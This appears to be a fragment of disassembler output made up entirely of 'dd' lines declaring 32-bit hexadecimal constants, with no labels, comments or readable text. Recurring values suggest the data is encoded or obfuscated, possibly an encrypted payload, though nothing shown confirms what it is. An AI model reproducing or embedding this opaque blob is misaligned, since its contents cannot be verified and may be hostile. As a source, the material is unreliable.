		dd 0A3320EFFh, 0B156F456h, 0BC458DDCh, 2E4E9078h, 0B161ED8Dh
		dd 0CA7AD7FCh, 0B161EDDCh, 0A970E920h, 52187D02h, 0A757458h
		dd 6912F388h, 60C8E452h, 0A2F72EDCh, 0B161ED52h, 64D893DCh
		dd 49F82A04h, 0CC6A6484h, 0B1586CD4h, 73BEEDDCh, 611E1822h
		dd 0B16314DCh, 96A4EDDCh, 50A4D69Ch, 6ECAF4E0h,	244D3DE2h
		dd 6108F054h, 0A7708DDCh, 0F161EDDCh, 0DB3DE1E5h, 492B209Ch
		dd 72F7205Ah, 0CA138D4Fh, 0B161EDD2h, 0E3FF3E44h, 2DD08D98h
		dd 0ABE0387Fh, 0B1620177h, 0CEDA1BDCh, 35E5F1C9h, 57E907DAh
		dd 6B29E74Dh, 0BFC882C4h, 3DEBB34Bh, 0EE55BB70h, 0B14ED7ADh
		dd 0A56EEDDCh, 9C61EDDCh, 54828FCh, 89C9CBE7h, 0BD789588h
		dd 234CF736h, 0B161EDE0h, 69DB0E63h, 0C855BCDBh, 0B161ED88h
		dd 0D9E201DDh, 4A2F5CD1h, 0C511C7DFh, 97B58B13h, 24519FF3h
		dd 6108F054h, 0ABD85ADCh, 5161EDDCh, 1D88E2AEh,	5EBE9008h
		dd 0B156F676h, 0F75F73DCh, 9537AAA9h, 0A797456h, 0A2F6F388h
		dd 0B156F430h, 93D893DCh, 0FC7F9728h, 50AFBC83h, 1DC7493h
		dd 0A2A1F650h, 0B156F65Eh, 16458DDCh, 50B1195Dh, 0C14366F5h
		dd 0AC708D53h, 761EDDCh, 6CD06019h, 310BCA0Ah, 518CBF76h
		dd 0D310E47Eh, 4EBEF64Fh, 5221DA65h, 0B658742Ch, 0DEF6F64Fh
		dd 276090FCh, 73C0904Eh, 0B14EF84Fh, 0A296EDDCh, 29158D75h
		dd 28B00381h, 98AEFB54h, 2E1820DCh, 0AB286024h,	9DFA09EDh
		dd 51E6640Fh, 0B14FF8FDh, 0AD4FEDDCh, 0F459CA9h, 0E43B2F6Ch
		dd 3D32889Ch, 0B1576CAEh, 50F6EDDCh, 0D310E47Eh, 0A36FF64Fh
		dd 4761EDDCh, 547F8C63h, 4C4FBDFCh, 24AC6325h, 6108F054h
		dd 0A6D75ADCh, 0A261EDDCh, 0B156F35Fh, 0B2D85ADCh, 7261EDDCh
		dd 0B15BF84Fh, 0E10DEDDCh, 0A21D4260h, 8C2DFC2h, 0A117458h
		dd 0A2F6F388h, 30F8233Dh, 51372A93h, 1DC7493h, 518DF650h
		dd 326D70F3h, 61DA9312h, 0AFFA25FEh, 0A3C07BAAh, 0B156F557h
		dd 0B0E45ADCh, 5161EDDCh, 69DB0E00h, 0A255BCDBh, 0B156F554h
		dd 0B0CF5ADCh, 5161EDDCh, 0B1ECDC00h, 0C855BCA9h, 0B161ED91h
		dd 0EE84AFABh, 8E53DDE2h
		dd 0E799F45Fh, 27ED777Dh, 5EBD1AAAh, 0B1620076h, 0C5C512DCh
		dd 0B9D9F843h, 643569C4h, 32EC6C2Eh, 2DCFA8FDh,	0ABE03863h
		dd 3DEBB363h, 0E455BB70h, 0B1575877h, 0BE6959DCh, 0C5F71695h
		dd 0E8EFA6DDh, 0BE0F66E7h, 0D310E464h, 0C8F6F64Fh, 0B161EDD7h
		dd 3203198Eh, 5716DA25h, 0A2F79064h, 0B1575E59h, 0B15C14DCh
		dd 0DA06EDDCh, 1420E5D0h, 0A1ABFA42h, 5219CAADh, 0B658742Ch
		dd 27F6F64Fh, 30F58D82h, 0A4194E88h, 0B161ED2Ah, 72F88CDCh
		dd 2DCF254Fh, 0ABE0387Bh, 3DEBB363h, 0E455BB70h, 0B1620177h
		dd 9D67CADCh, 49C60F30h, 69AF1B4Bh, 2C4A7D8Fh, 9ABCAB9Bh
		dd 0E5D09540h, 0AA6FA965h, 0C161EDDCh, 16B3A1D2h, 97E5CFF4h
		dd 0B156F376h, 0AF3CF5DCh, 738A21DCh, 611E1822h, 0B27214DCh
		dd 0E62EEDDCh, 5EE564FCh, 0C19037CEh, 3C1AC3EFh, 2DE465E1h
		dd 0AB2866E0h, 0B14FD8ADh, 4C01EDDCh, 324D1D5Ah, 5EBE8DA0h
		dd 78ECD866h, 5155C4B6h, 3D131E60h, 3A4E2F5Eh, 2E158D9Bh
		dd 0AB286024h, 0B265F803h, 0ED2DEDDCh, 0DC1D504Ch, 0C37D733Ch
		dd 8C3A1A03h, 0A7E885DEh, 0BAF9FB13h, 789E068Bh, 0D310E464h
		dd 0A26FF64Fh, 261EDDCh, 1E72B949h, 0B37C2A8Ch,	0EE185787h
		dd 2A3FC311h, 0B658742Ch, 0DD6FF64Fh, 0A261EDDCh, 438FAD11h
		dd 42A8CB8Eh, 767FA6Eh,	6139064Dh, 0C9320E7Bh, 0B161EDABh
		dd 459D8CBh, 7E6B0894h,	6737E05Eh, 7617456h, 7CF6F388h
		dd 2E15907Bh, 0AB286024h, 7FA2421h, 0C934C42Dh,	0B161EDD7h
		dd 2F95220Fh, 0D7D1B9FCh, 0B156F577h, 61B660DCh, 677EE7C8h
		dd 69DB0E44h, 0A255BCDBh, 0B157575Eh, 99D78DDCh, 4D24CAD3h
		dd 24F8388Eh, 6108F054h, 0AAEB5ADCh, 0A261EDDCh, 0B161EF2Dh
		dd 72F88DDCh, 0DBE35E4Fh, 0A261EDDCh, 0B162005Ch, 0B14E14DCh
		dd 0E61FEDDCh, 233D14CDh, 0F84CD38Dh, 2DD04F51h, 0ABE037D3h
		dd 0B158F8FCh, 39BBEDDCh, 971C7564h, 0ACF6EBB1h, 0B26715F9h
		dd 871DEDDCh, 167BEE50h, 5F946DC5h, 421B86CBh, 0E0BC9FC8h
		dd 6BF82B07h, 60C8E452h, 46C03FDCh, 74A1E177h, 0B1575E76h
		dd 0D70E1ADCh, 0BE813F67h, 10606699h, 5DE36214h, 0D310E47Eh
		dd 0A76FF64Fh, 6561EDDCh, 6F931D0Bh, 25047DB1h,	6108F054h
		dd 5EBD24DCh, 0B9ECD867h, 5155BCB6h, 4C34CAAEh,	50F2B625h
		dd 1DC7493h, 0C895F650h, 0B161EDD9h, 77B4CD86h,	0D46638BBh
		dd 58EF8328h, 7A818508h, 0D310E464h, 244DF64Fh,	0B161EDA9h
		dd 0B15573ADh, 224CEDDCh, 0B161EDDDh, 0B658742Bh, 304DF64Fh
		dd 0B161EDD7h, 0B156F477h, 0E7AEAADCh, 5EBDCDD6h, 7C7E5EFFh
		dd 0B155DBD4h, 2D4CEDDCh, 0B161EDDDh, 0A8ECD8FFh, 7555C4B6h
		dd 1DC7495h, 0A295F650h, 0B161F055h, 0A46F20DCh, 6061EDDCh
		dd 6D8E1C1Ah, 0FED0249h, 4F63CCE7h, 6FEF2A16h, 7D470CFFh
		dd 0D310E464h, 30F6F64Fh, 0CEFB0E6Bh, 0ACE25EEBh, 3061EDDCh
		dd 57984A4Fh, 2DE4900Ah, 0AB2866E0h, 7D320E67h,	74D7456h
		dd 51F6F388h, 0B1575E78h, 447DA2DCh, 6EEB343h, 717E7E93h
		dd 0DF8654EEh, 2E1590FFh, 0AB286024h, 0A2D55E15h, 0C861EDDCh
		dd 0B161EDB0h, 63342EF3h, 0C5BA4F55h, 4A8A0AB7h, 93380BE1h
		dd 69DB0E67h, 0C855BCDBh, 0B161EDD2h, 4DB107D1h, 0B1ECDC04h
		dd 0A255BCA9h, 0B156F42Ah, 26F58DDCh, 5EBE9065h, 0B1620176h
		dd 31D65DCh, 0DC5B64CBh, 0AE5D16D2h, 6C40E124h,	851A02EAh
		dd 0A0ECD867h, 5155C4B6h, 0B1575878h, 5DEB3BDCh, 7801B376h
		dd 0D1D79F98h, 2E4E9063h, 0B161EDACh, 0B156F577h, 209FB9DCh
		dd 0BEA13FC8h, 3DEBB36Dh, 1255BB70h, 0B15673AEh, 274CEDDCh
		dd 0B161EDE0h, 0B270F878h, 5EC9EDDCh, 8682729h,	3DA07858h
		dd 371F7BF5h, 0DACF9FF7h, 0BFEF9593h, 294E6BCFh, 0B161EDD8h
		dd 0B2E45EFCh, 7861EDDCh, 69DB0EFEh, 0A255BCDBh, 0B156F457h
		dd 0E01C8DDCh, 2DE49007h, 0AB2866E0h, 0A3320E63h, 0B161F02Bh
		dd 2DCF24DCh, 0ABE037C3h, 0A5CE5EFCh, 0C861EDDCh, 0B161EDD7h
		dd 8405DA67h, 4EE3A1A3h, 0DE6EC7F3h, 0A26F8DFFh, 0D61EDDCh
		dd 0C837EDF1h, 5972D2ADh, 891EB73Ch, 5DC9746Dh,	9147C8F3h
		dd 527ADF04h, 1DC7493h,	788DF650h, 0B156F576h, 767831DCh
		dd 349120h, 0F6FE9531h,	741BB678h, 611E1822h, 416F09DCh
		dd 0D461EDDDh, 0CE00C748h, 47FB1Fh, 9B986C04h, 0B1ECDC74h
		dd 0C855BCA9h, 0B161ED91h, 0D7393F2Fh, 6364218Eh, 0FF06C082h
		dd 0E701C82Bh, 5EBD0D19h, 0E0D0C8FFh, 28F87786h, 98B92F54h
		dd 0B27114DCh, 3CAEDDCh, 441FDAEAh, 6E63F155h, 4931BB8Bh
		dd 0CA6E34B2h, 3DEBB31Eh, 0EA55BB70h, 0B26875ADh, 0A301EDDCh
		dd 0AC6F1B25h, 0E761EDDCh, 19BCD49Ch, 49F7D0ABh, 776A7BE9h
		dd 0ACD55EFFh, 3061EDDCh, 0CB0F0398h, 79DA93DBh, 3DBD08FEh
		dd 0AB26E998h, 0B163DAADh, 2C4CEDDCh, 0B161EDD3h, 0B1576CADh
		dd 2DE2EDDCh, 0AB2866E0h, 76320E63h, 7957456h, 0AA6FF388h
		dd 0D061EDDCh, 12AAA6EAh, 7A6692B2h, 1DC7495h, 0A295F650h
		dd 0B161F061h, 64FA09DCh, 0A421F3B3h, 0B1620661h, 0A56F8DDCh
		dd 0AB61EDDCh, 72480949h, 0E753F2D1h, 0DE8927EFh, 508F173Eh
		dd 0B26615FDh, 88B5EDDCh, 3952E055h, 0A96AC1F1h, 0E30F442Dh
		dd 0E8C20CAFh, 0AC70872Ah, 4461EDDCh, 8E03F5E3h, 505EF942h
		dd 0D310E47Eh, 4BF6F64Fh, 0DB6FC55Ah, 6D61EDDCh, 9C1A2394h
		dd 5218EA16h, 5561E7B5h, 53A905EBh, 505BC5FBh, 0B658742Ch
		dd 0A2F6F64Fh, 0B156F459h, 6AD893DCh, 72F8624Eh, 0DAEB5E4Fh
		dd 0C861EDDCh, 0B161ED88h, 363E1E36h, 7510D07Bh, 46B4DE5Fh
		dd 0C072073Bh, 29012762h, 98B99754h, 38F58DDCh,	61D7679Ah
		dd 2E159030h, 0AB286024h, 38F58D1Dh, 71D848C5h,	511713D6h
		dd 4F239500h, 3302C12Ah, 0ABC9C98Fh, 0B1575A77h, 1A0239DCh
		dd 41AEB770h, 35A4919Ah, 69DB0E00h, 0A255BCDBh,	0B161F053h
		dd 0C90225DCh, 0B161EDD2h, 79C1E0BEh, 97465E43h, 0B1ECDCFEh
		dd 0A255BCA9h, 0B157592Dh, 294E8DDCh, 0B161EDDDh, 0A86CCAF2h
		dd 52320EFFh, 0C719E2AEh, 0B161EDD5h, 0CC5C8870h, 3A4D1A2Ah
		dd 28F8452Fh, 98BBE754h, 0B1E35ADCh, 7C61EDDCh,	1DC7495h
		dd 7C5DF650h, 0C8BB9BF7h, 3DBD095Dh, 0AB26E998h, 0B1ECDC78h
		dd 5155BCA9h, 0B16C73AEh, 0A688EDDCh, 7864B39Ah, 0A3320EFEh
		dd 0B1620557h, 0B27114DCh, 2C78EDDCh, 0D78892D2h, 23AC7750h
		dd 0D7283DBBh, 6E056031h, 0D4EC74A3h, 7955C4B6h, 1DC7495h
		dd 0C85DF650h, 0B161EDB0h, 5DB0211Ah, 0B1AF6612h, 4A7ED646h
		dd 61725515h, 69DB0E67h, 0C855BCDBh, 0B161EDADh, 844B01BEh
		dd 92E3FDB6h, 149E63AEh, 2686C82Ah, 6108F054h, 5EBD09DCh
		dd 498270FFh, 3B3F0561h, 2DD090FFh, 0ABE037BFh,	0B15875ADh
		dd 44BDEDDCh, 0B1FA20B1h, 5161ED8Ch, 0B1575A75h, 28019BDCh
		dd 9106C556h, 65BA22D0h, 516990FFh, 0B157DAAEh,	93D8EDDCh
		dd 0B1EF90FEh, 7561ED8Ch, 254CEDF9h, 0B161EDD9h, 0B2656EADh
		dd 0A26EEDDCh, 0FE61EDDCh, 44D10063h, 0E7A89EB0h, 0B3D82C3Bh
		dd 0FF944D43h, 0DDDC847Dh, 244DF64Fh, 0B161EDC4h, 0B161FD77h
		dd 0DA3673DCh, 94A82996h, 0E5EBF55Dh, 0A49410D1h, 1DECD82Fh
		dd 0A255BCB5h, 0B1575852h, 50F78DDCh, 0E5E970F3h, 2DE490F3h
		dd 0ABDFF206h, 0B1620077h, 7C80DADCh, 9618361h,	0CE0435B4h
		dd 20863BF6h, 5EBEE255h, 516B7762h, 30EDAF5Dh, 1D231375h
		dd 0B1EF90CBh, 0A261ED8Ch
		dd 0B1575761h, 0B16B14DCh, 3067EDDCh, 795706E3h, 0B1C1EDF7h
		dd 0B1FC20DCh, 0B16475ADh, 0A76EEDDCh, 0C361EDDCh, 0F02577ECh
		dd 729A23EDh, 617CE442h, 36F58DDCh, 36F52FEFh, 2902C741h
		dd 612A1854h, 4BF78DDCh, 6C7FF860h, 0BCB4E840h,	28F88CA8h
		dd 61659054h, 0F1FC20DCh, 0B156F377h, 67D1DBDCh, 499D3B5Dh
		dd 0B161FDDDh, 0B1EB5EFCh, 7561EDDCh, 0B15795FEh, 0A66EEDDFh
		dd 8261EDDCh, 0D016F077h, 6C63E5AAh, 2149AC5Bh,	0AE6EEDF7h
		dd 0AD61EDDCh, 2AF7BDD3h, 3CFB0E79h, 0A255BCC4h, 0B161EA59h
		dd 0DDD65ADCh, 0C861EDDCh, 0B161ED8Fh, 0D0472105h, 0B8A60091h
		dd 68804A28h, 0CD48ECB8h, 0DB087456h, 284DF64Fh, 0B161EDE0h
		dd 89DCDA67h, 5155BCE1h, 0B161DBAEh, 61D8EDDCh,	0B161FF76h
		dd 682C72DCh, 3BB637A0h, 0C95FE118h, 0E76100F2h, 513C0555h
		dd 0AE106C5Ah, 0A86FF64Fh, 9E61EDDCh, 0C59E4AB9h, 540AAABBh
		dd 29BE0F7Ch, 60CBB424h, 0B15814DCh, 0FE29EDDCh, 0E6480DEAh
		dd 0A986C57h, 0C9F6F650h, 0B161ED8Fh, 534B81C7h, 0CA87856Ah
		dd 0F13DCFBh, 5C775C7h,	0B161FF78h, 0E79EA9DCh,	0B3AB37C6h
		dd 0EE2357EAh, 627244ECh, 198D2F94h, 51BDE2AEh,	0B164DAAEh
		dd 0A76EEDDCh, 8361EDDCh, 0FD6A3C44h, 27489A06h, 606B185Ch
		dd 284E8DDCh, 0B161EDD4h, 0BA314126h, 93DAE6BCh, 72F6FF94h
		dd 0D637568h, 0B156B160h, 301AEDDCh, 2D4CED68h,	0B1574886h
		dd 0B266F8FCh, 0FF8EEDDCh, 6E70CCDAh, 0BB5693BBh, 0C83E1406h
		dd 79DA80DFh, 0B1D95EFEh, 7961EDDCh, 3275D805h,	0B156F193h
		dd 0AB6D6CDCh, 2A61EDDCh, 28B351C1h, 46C051B1h,	0B15755CCh
		dd 0A2CB5957h, 0B156F630h, 0B1CF5ADCh, 7561EDDCh, 0B1575C76h
		dd 0FFE400DCh, 0D69B88A1h, 44026700h, 0A2F6F680h, 0B1575952h
		dd 0ACE35ADCh, 0A261EDDCh, 0B161ED2Bh, 4F175CDCh, 47A5C7F3h
		dd 0B265F8FDh, 0A3A3EDDCh, 9CD88FEDh, 81FA23B4h, 49ADB57Ah
		dd 2ADE3EE2h, 51BFE281h, 89ECD800h, 0A255BC8Ah,	0B156F653h
		dd 0B1CE5ADCh, 7C61EDDCh, 0E7F3CC02h, 7DD855CDh, 9EE973Eh
		dd 0A2B42B04h, 0B161F057h, 0C4D720DCh, 0A6C253EBh, 11CBA1E1h
		dd 0B6E5E5CDh, 0CF16FFCCh, 71EA22D2h, 0E56BF17Fh, 0B13A6702h
		dd 2D4E4592h, 0B161EDC3h, 0B1620077h, 0CC1A8CDCh, 0EDB227CBh
		dd 0BE8703DFh, 0A10FB03Ch, 84F56345h, 78465EFCh, 0EB76F4FEh
		dd 0DD6C3825h, 0AF7B6B8Ch, 4B751F0h, 0DD9FFDE1h, 3A960D8Bh
		dd 0B16314B8h, 0A64BEDDCh, 44C81B4h, 744FC86Ah,	72BC9DA5h
		dd 0FEDAA5AFh, 0AB2B6C90h, 7C61EDDCh, 0FC5AFB5Eh, 0FD60EE00h
		dd 39A74D90h, 99A7C79h,	0F22AAEA4h, 0EE3654FEh,	97867709h
		dd 0C9A0F28Ah, 0B0695CF0h, 166C53B0h, 0B148966Ah, 0A9704592h
		dd 661EDDCh, 5F53AA34h,	0B267148Bh, 0FEC0EDDCh,	6B3F732Eh
		dd 33557BCDh, 223296CEh, 0DEFF4591h, 0B16205F4h, 0BE5846DCh
		dd 516A4A30h, 0B1620178h, 0C9FD43DCh, 0DCC045E0h, 0F5FB8046h
		dd 0A4E5862Ah, 0C9011AEBh, 0B265F83Ah, 1451EDDCh, 0AA173F83h
		dd 0E1CEBE63h, 0AD61678Bh, 0AA7A193Dh, 28F6EACBh, 60B7D83Ch
		dd 73EB20DCh, 0B1BC70D4h, 0A301EDDCh, 0B156F257h, 0C0465ADCh
		dd 0C7A09FEh, 5161EDFDh, 0B1575B75h, 0DD0D74DCh, 0A4122897h
		dd 0AA7DD807h, 5168E733h, 0C9F74500h, 0B161EDD9h, 8B02E8BCh
		dd 501DB957h, 0C85EEDF0h, 0B161EDD7h, 83BEA47Ch, 0AC26A7E2h
		dd 597090FFh, 0A261EDD4h, 0B161F02Dh, 471B09DCh, 0B15787D4h
		dd 0A2CB5957h, 0B156F654h, 0B1D55ADCh, 7861EDDCh, 0E7BDACCh
		dd 0B156B160h, 0A96EEDDCh, 9261EDDCh, 7AF2446Ch, 0AE31779Dh
		dd 0B161FF77h, 52B486DCh, 0F88FDCA7h, 39311AFh,	178A73A2h
		dd 2A177357h, 605B5444h, 0B15914DCh, 142BEDDCh,	0B7CC526Dh
		dd 0BE1CD2CDh, 786B77C1h, 0B271EDF7h, 28B225DCh, 0B16AF47Dh
		dd 0ADC2EDDCh, 2A61EDDCh, 28B351B1h, 254E51E1h,	0B161EDD8h
		dd 39F88DFCh, 490D8829h, 0A2577700h, 0B1575B52h, 0B14F14DCh
		dd 4698EDDCh, 8CFBC099h, 732682D3h, 617CE442h, 2DCF25DCh
		dd 0AB27020Ch, 0AB837067h, 2861EDDCh, 0AED851B1h, 0A7493590h
		dd 0C8D827CCh, 0E1598717h, 0B267D9ADh, 0A86EEDDCh, 1F61EDDCh
		dd 3F1B45EDh, 3E0CB562h, 0A6DA37B2h, 0D2D03D90h, 0B156F1D2h
		dd 0AB176EDCh, 15CAF155h, 0F1861568h, 0CA01EDDCh, 0B161ED8Fh
		dd 83ACE1Ch, 0BE3E6DD7h, 0FD580102h, 6D9B5C15h,	4B6027CEh
		dd 22692260h, 0D7419500h, 0FECEEDDCh, 0A5708D90h, 0EF61EDDCh
		dd 7A631D58h, 0FE26ADB7h, 4A7E93B6h, 5244901Dh,	0C0B1FA60h
		dd 26B2A247h, 4F8287Bh,	0EA0DA66Ch, 70BB58D3h, 0DAAF220h
		dd 1D643891h, 646C27A0h, 758F1BACh, 1BF607Bh, 0A3BF6096h
		dd 0B1575B57h, 0AE708DDCh, 6261EDDCh, 82FEA6B1h, 1AF890FCh
		dd 4CCAF160h, 2652BDC0h, 6ED851D9h, 0B161EDD3h,	110AFA5Fh
		dd 26F75D4Dh, 28BC9050h, 0AB2C7074h, 2E61EDDCh,	6D5F14Ch
		dd 0B6D02991h, 0B2661490h, 3469EDDCh, 8DD9D352h, 8B0785E9h
		dd 0A2A34B4Eh, 0F6D5BBA4h, 71C77F71h, 0B161FD76h, 0CA08E0DCh
		dd 45D0EBA3h, 0DB9AD54Ch, 7A813BC6h, 0FD3024F3h, 4ECA247Bh
		dd 0B1575B78h, 0ADA251DCh, 277B769Ah, 73772462h, 3754FFA3h
		dd 0DEAB922Ah, 0D5BDAFFh, 3281D8CFh, 0B156F29Fh, 0AB216CDCh
		dd 2A61EDDCh, 0C8B351E1h, 0B161EDD7h, 0EB3714ADh, 0BBAC248Ch
		dd 50F78DFCh, 0A0708D00h, 1161EDDCh, 0D48A0CC9h, 37B62E0Dh
		dd 8B85E936h, 3DADB17Dh, 50F84403h, 0EDC9FE60h,	92B02CF1h
		dd 0EE85CAC8h, 92582CF1h, 0B157F820h, 0ECF2EDDCh, 7F030035h
		dd 3282D8D1h, 0B156F2A2h, 0AB7A6CDCh, 2A61EDDCh, 28B351D9h
		dd 234E51E1h, 0B161EDDBh, 2C126DFCh, 0B1620178h, 7E6D3CDCh
		dd 49F0C852h, 26135522h, 630120F9h, 48603AC4h, 0C6E29018h
		dd 0D5374D3h, 35D90907h, 0AB285504h, 0B267DAADh, 304CEDDCh
		dd 0B161EDD7h, 0B156F477h, 8DE629DCh, 73803EACh, 0C9BD0E64h
		dd 0B161ED88h, 0FA232B7Ah, 840D494Bh, 576A3A6Dh, 8E3EF7Dh
		dd 2174559h, 0A0E15B9Dh, 0C861EDDCh, 0B161EDAAh, 0A434062Fh
		dd 0E2BD991Dh, 29F3DEDh, 0B15014A5h, 0DFA4EDDCh, 28AB265Ch
		dd 67F4C80Fh, 0B9157D92h, 0B21DC8CFh, 71D6EDDCh, 0A1F38BBAh
		dd 0C9D71CDFh, 0A1F38BBAh, 515EF056h, 0CA11DAF3h, 0B161EDD7h
		dd 0AB2099CCh, 354B0C31h, 0C9A88D00h, 0B161EDADh, 0AF7391C8h
		dd 1033C175h, 0A3501EDFh, 1260D3A1h, 0B1575C78h, 187452DCh
		dd 37AAA167h, 71B9D332h, 1F858AEh, 0ACEB5E95h, 5161EDDCh
		dd 93DA9379h, 0B17E46FEh, 0B061EDDCh, 0A3702E7Ah, 5161EDDCh
		dd 0E171F1B3h, 2A1C0E76h, 72999398h, 0AED872A3h, 13086090h
		dd 0BCC4451Ch, 0C8B42AAFh, 0B161EDADh, 0E3D0B15Ch, 0F116BD7Eh
		dd 4C7C526h, 0CA187C67h, 0B27214D7h, 32FCEDDCh,	92F07610h
		dd 20AD2A94h, 0B79A841Dh, 70C7C403h, 2C4E9762h,	73BD0A92h
		dd 0B16AF8FFh, 0A88BEDDCh, 4ECA0DECh, 0B156F578h, 573720DCh
		dd 0A12F9950h, 0B15515D4h, 80E2EDDCh, 7F8E2294h, 50F82B4Fh
		dd 68D03F04h, 286CC456h, 31C02C75h, 0B156F149h,	0D6B74DCh
		dd 19B60166h, 6FDA93FDh, 0E7BDAFEh, 3282D8D2h, 0B156F2A2h
		dd 0AB226CDCh, 2A61EDDCh, 0C8B351D9h, 0B161EDADh, 0CF0C0CD9h
		dd 7EC54B7Bh, 9E7B353h,	41702837h, 7961EDDDh, 302050F2h
		dd 1305EBAEh, 0BD811D8Fh, 0B28A425Ch, 3061EDDCh, 0D4C1937Ah
		dd 3130F000h, 0D4C194A2h
		dd 1662D800h, 0A3E15E64h, 0C861EDDCh, 0B161EDD9h, 0C179536Ah
		dd 0EEACF842h, 39A7DABFh, 0B161EDB1h, 176FF75Fh, 6F582E40h
		dd 1770AF5Eh, 0A25F2E40h, 0B156F453h, 78DA8DDCh, 28A79067h
		dd 0B16AF47Dh, 0ADC2EDDCh, 2A61EDDCh, 28B351B1h, 73C051E1h
		dd 60B0B852h, 0B15914DCh, 6181EDDCh, 0A29C9DC5h, 80D05499h
		dd 0A66F8D28h, 2D61EDDCh, 0AFDD993Eh, 86B633ECh, 0D5C11Fh
		dd 5DDA9005h, 0AB283B38h, 0B1575B77h, 785EEADCh, 7F86057Eh
		dd 6AB64FB6h, 0B8568AA3h, 60B7D843h, 3EEB5ADCh,	0A261EDDDh
		dd 0B161F054h, 9ED909DCh, 0D0D03F90h, 0B156AF5Eh, 70E0EDDCh
		dd 0E7B72D3h, 0BABD0819h, 6EE22B90h, 0DF468DD3h, 4BE195FFh
		dd 0A6CEEDDDh, 0B16BE490h, 6356EDDCh, 0AA6F8D06h, 0FF61EDDCh
		dd 61DB3E89h, 834CA6ECh, 516A90FCh, 4C31CAAEh, 50F7B05Ah
		dd 73C9C178h, 0B154F864h, 0DD65EDDCh, 7E471BF2h, 0B162F81Ch
		dd 0EF7BEDDCh, 0D4EAB040h, 0C5CA9FEDh, 2821E625h, 28B251E1h
		dd 0AB227082h, 3061EDDCh, 0B156F2A2h, 0E7372DCh, 0FED90919h
		dd 0D2D03D90h, 0B156F1D2h, 0AB176EDCh, 15CAF155h, 0B156D9AEh
		dd 2B4CEDDCh, 0B161EDE0h, 30F79063h, 646A1375h,	877F93BAh
		dd 0A6DA8CC2h, 0D1D03C90h, 0B156B05Eh, 71D6EDDCh, 0B161EDD3h
		dd 15CB5955h, 0B1575878h, 350DFCDCh, 85119E5Bh,	0AEDA2929h
		dd 0CBD04290h, 0B156B65Eh, 6BD6EDDCh, 0B161EDD3h, 15CB4955h
		dd 0B9EBB679h, 0B155BC8Dh, 0C861EDDCh, 0B161EDD5h, 4F399768h
		dd 0C902BEBBh, 0B161EDADh, 8C62870Ch, 314A541h,	5214117Dh
		dd 38F5E010h, 6AF88B3Ch, 60B6D052h, 0B161EDDCh,	0AAE35ADCh
		dd 5161EDDCh, 0CED61F60h, 51F83967h, 0B1620178h, 70D1B0DCh
		dd 0BBF84047h, 72F8E9A8h, 5586B752h, 0DEE26982h, 98DA937Dh
		dd 28D472FEh, 0B155C4B8h, 0B26671ADh, 0A41AEDDCh, 0B161F052h
		dd 55E309DCh, 0AB25AEFBh, 2750DDFCh, 5FBE9094h,	0A5EB0E62h
		dd 0A255BCB2h, 0B156F554h, 0B0E35ADCh, 5161EDDCh, 0A5D47200h
		dd 4D55BCB2h, 0B02F6FAEh, 254CEDDCh, 0B161EDE0h, 0A5EBB663h
		dd 0B055BCB2h, 7961EDDCh, 0DB6F24FFh, 7D61EDDCh, 0FECEEAC6h
		dd 0D8683717h, 30266A0Dh, 479613CCh, 258A1FB4h,	9A453F54h
		dd 0B27114DCh, 3357EDDCh, 223296CEh, 70FF4591h,	1D50E5E3h
		dd 0E232BBBAh, 52320E51h, 7978CEF3h, 0D27CCD29h, 3DE48CD4h
		dd 0ABE03707h, 18D4DC78h, 0A255A824h, 0B1575957h, 0ACCD5ADCh
		dd 0A261EDDCh, 0B161ED56h, 0B15A14DCh, 0F184EDDCh, 462539D9h
		dd 33A5440Ah, 0F2687721h, 0A015235Fh, 7A583572h, 3286381Dh
		dd 7A40824Eh, 2A4E8DD7h, 0B161EDC6h, 0B161FF77h, 0EE3E1DCh
		dd 4558C991h, 0DA197EFAh, 2ADB8873h, 0A3E40DC7h, 0B156F15Ch
		dd 587F93DCh, 26A69098h, 6ED851E1h, 0B161EDD3h,	0B15875ADh
		dd 27BEEDDCh, 60AF443Ch, 3A4E8DDCh, 0B2671595h,	0DA44EDDCh
		dd 0D911B766h, 291DD701h, 6DFCAC94h, 269192B7h,	38F82865h
		dd 73BD0E7Eh, 0B156DBD4h, 2F4CEDDCh, 0B161EDE0h, 0A3708D63h
		dd 3461EDDCh, 6AC27D75h, 84020ABFh, 4BFAC0FDh, 0F07B1D60h
		dd 0CA1760FFh, 0B161ED8Eh, 0EC46774Ah, 0F7D12B28h, 639431FDh
		dd 29DB75FDh, 0B2804062h, 3061EDDCh, 1EB60B78h,	3286ECDBh
		dd 1EB60CA0h, 1858D7DBh, 0B16375AEh, 254CEDDCh,	0B161EDD3h
		dd 0B1576DADh, 6951EDDCh, 0B1893F67h, 0B061EDDCh, 741C2882h
		dd 755F72A3h, 0A25A159Eh, 0B161F030h, 70C720DCh, 2C4E9766h
		dd 73BD0E48h, 0AB83727Bh, 19CB5957h, 0B1575778h, 620929DCh
		dd 798868EBh, 200EC919h, 0DEB2C266h, 284E2A04h,	0B161EDDCh
		dd 0B2666DADh, 0DD6EEDDCh, 9261EDDCh, 0E6A86F88h, 0D18598B2h
		dd 0C8256F25h, 0B520C49Dh, 4DEC64A5h, 0A255BCCAh, 0B1576730h
		dd 39F58DDCh, 37F7EF14h, 51F70170h, 5211E2AEh, 0A43CCB03h
		dd 9986A1D1h, 0F62D135Eh, 39A727DAh, 0E5A9A591h, 306AB66Fh
		dd 88AF1173h, 0F8570EDh, 28956DD5h, 224E2B2Dh, 0B161EDDCh
		dd 0B26670ADh, 0DD6EEDDCh, 0F461EDDCh, 33DD0D0Bh, 673B3F72h
		dd 902141B7h, 0FC9EA88Dh, 0A4175A11h, 0B1620453h, 2E1525DCh
		dd 0AB283AACh, 0B161EDDFh, 0F01A70FCh, 3AB511B4h, 39A78D88h
		dd 0B1C82827h, 0BC55B05Fh, 70589935h, 0BC54F85Eh, 0C85F9935h
		dd 0B161EDB0h, 600A5EF3h, 0AE65D2F9h, 5214C8EEh, 0B21FD9AEh
		dd 0A06EEDDCh, 8B61EDDCh, 68489954h, 17DD8190h,	0E973D1FFh
		dd 8238757Fh, 294D13EFh, 0B161ED8Fh, 0B1575C77h, 62A4F9DCh
		dd 0A4289CF8h, 0C943A958h, 32A6478Ch, 41009FCBh, 0B6D90858h
		dd 0AB2B6E90h, 0BB8A4264h, 0DF005580h, 0D8CB615Fh, 17594DACh
		dd 421F1F60h, 786A57BDh, 0B15BF80Ah, 0B275EDDCh, 5C6CE222h
		dd 49C838BBh, 0E2CE458h, 0A06FF650h, 0EC61EDDCh, 5B780C26h
		dd 6B807BBAh, 0F3115F5h, 0D3ACE85h, 0A302C995h,	337DA73Dh
